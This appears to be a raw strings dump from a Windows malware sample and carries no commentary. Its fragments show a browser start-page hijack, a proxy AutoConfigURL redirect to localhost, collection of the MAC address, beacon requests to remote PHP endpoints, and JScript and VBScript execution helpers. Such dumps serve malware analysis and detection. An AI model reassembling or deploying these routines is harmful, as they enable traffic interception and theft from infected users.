2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d

http://
/ca.php
?m=
&h;=
GET
?p
POST
users.qzone.qq.com
GET /fcg-bin/cgi_get_portrait.fcg?uins=
HTTP/1.1
Host: users.qzone.qq.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Date:
GMT
function lakwi(){var st = '
';var t2 = Date.parse(new Date(st))/1000;return t2;}
ScriptControl
Language
JScript
ExecuteStatement
Run
lakwi
Software\\Microsoft\\Internet Explorer\\Main\\Start Page
www.naver.com
0.0.0.0
.com.pop
.kr
.kr.pop
.net
.net.pop
ET
step_down.php?key=f334301a260288c5
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Content-Length:
VBScript
Function MACAddress()
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MACAddress= mo.MacAddress
Exit For
End If
MACAddress
WinHttp.WinHttpRequest.5.1
Open
Send
responseBody
Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
http://127.0.0.1:
CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
AddCode
Applications\\zipfldr.dll\\NoOpenWith
regsvr32 /s zipfldr.dll
zip
Error
Sub run(ByVal A, ByVal B)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(B) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(A) Then
FType = "Folder"
ElseIf fso.FileExists(A) Then
Line
ConnId
ProxyId